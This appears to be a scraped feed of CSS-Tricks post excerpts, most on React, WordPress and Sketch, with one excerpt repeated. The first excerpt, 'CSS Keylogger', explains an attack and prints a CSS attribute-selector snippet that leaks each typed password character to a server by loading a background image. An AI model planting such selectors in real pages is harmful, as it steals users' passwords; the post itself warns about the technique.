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CSS Keylogger

Scary little attack using essentially a bunch of attribute selectors like this:

input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}

At first, I was like wait a minute, you can’t select inputs based on what people type in them but only what’s set on the attribute itself. Max Chehab shows how it is possible, however, because React uses “controlled components” that do this by default. Not to mention you can apply the typed value to the attribute easily like:

const inp =


CSS Keylogger is a post from CSS-Tricks

Sketching in the Browser

Mark Dalgleish details how his team at seek tried to build a library of React components that could then be translated into Sketch documents. Why is that important though? Well, Mark describes the problems that his team faced like this:

…most design systems still have a fundamental flaw. Designers and developers continue to work in entirely different mediums. As a result, without constant, manual effort to keep them in sync, our code and design assets are constantly drifting further and …


Sketching in the Browser is a post from CSS-Tricks

Sketching in the Browser

Mark Dalgleish details how his team at seek tried to build a library of React components that could then be translated into Sketch documents. Why is that important though? Well, Mark describes the problems that his team faced like this:

…most design systems still have a fundamental flaw. Designers and developers continue to work in entirely different mediums. As a result, without constant, manual effort to keep them in sync, our code and design assets are constantly drifting further and …


Sketching in the Browser is a post from CSS-Tricks

How Would You Solve This Rendering Puzzle In React?

Welcome, React aficionados and amateurs like myself! I have a puzzle for you today.

Let’s say that you wanted to render out a list of items in a 2 column structure. Each of these items is a separate component. For example, say we had a list of albums and we wanted to render them a full page 2 column list. Each “Album” is a React component.

Scroll rendering problem

Now assume the CSS framework that you are using requires you …


How Would You Solve This Rendering Puzzle In React? is a post from CSS-Tricks

WordPress + React

I posted just 2 months ago about Foxhound and how I found it pretty cool, but also curious that it was one of very few themes around that combine the WordPress JSON API and React, even though they seem like a perfect natural fit. Like a headless CMS, almost.

Since then, a few more things have crossed my desk of people doing more with this idea and combination.

Maxime Laboissonniere wrote Strapping React.js on a WordPress Backend: WP REST


WordPress + React is a post from CSS-Tricks

Accessible Web Apps with React, TypeScript, and AllyJS

Accessibility is an aspect of web development that is often overlooked. I would argue that it is as vital as overall performance and code reusability. We justify our endless pursuit of better performance and responsive design by citing the users, but ultimately these pursuits are done with the user’s device in mind, not the user themselves and their potential disabilities or restrictions.

A responsive app should be one that delivers its content based on the needs of the user, not


Accessible Web Apps with React, TypeScript, and AllyJS is a post from CSS-Tricks

Foxhound

As of WordPress 4.7 (December 2016), WordPress has shipped with a JSON API built right in. Wanna see? Hit up this URL right here on CSS-Tricks. There is loads of docs for it.

That JSON API can be used for all sorts of things. I think APIs are often thought about in terms of using externally, like making the data available to some other website. But it’s equally interesting to think about digesting that API right on the site itself. …


Foxhound is a post from CSS-Tricks

All About React Router 4

This post is going to dig into to React Router 4, how it’s so different from previous React Router versions, and why that is. My intentions for this article aren’t to rehash the already well-written documentation for React Router 4. I will cover the most common API concepts, but the real focus is on patterns and strategies that I’ve found to be successful.


All About React Router 4 is a post from CSS-Tricks

Intro to Hoodie and React

Let’s take a look at Hoodie, the “Back-End as a Service” (BaaS) built specifically for front-end developers. I want to explain why I feel like it is a well-designed tool and deserves more exposure among the spectrum of competitors than it gets today. I’ve put together a demo that demonstrates some of the key features of the service, but I feel the need to first set the scene for its use case. Feel free to jump over to the


Intro to Hoodie and React is a post from CSS-Tricks